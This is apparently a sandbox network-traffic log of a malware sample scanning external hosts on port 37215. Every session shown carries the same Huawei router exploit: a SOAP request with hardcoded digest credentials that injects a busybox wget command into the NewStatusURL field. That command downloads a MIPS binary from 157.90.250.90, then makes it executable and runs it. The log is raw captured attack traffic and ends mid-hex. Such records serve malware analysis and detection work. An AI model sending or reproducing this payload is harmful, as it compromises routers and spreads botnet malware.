Dec 3, 2024 22:02:03.152472019 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.14	57470	41.134.87.124	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:03.153356075 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.14	53476	197.113.98.202	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:03.155752897 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.14	47462	41.105.124.119	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:03.169740915 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.14	48380	156.123.151.3	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:03.189831972 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.14	57616	156.234.225.136	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:03.190570116 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.14	37982	41.249.74.18	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:03.195466995 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.14	50278	41.73.129.181	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:03.207406044 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.14	54134	197.83.84.192	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:03.215601921 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.14	45242	197.240.251.151	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:04.067441940 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.14	60416	156.117.49.107	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:04.068186045 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 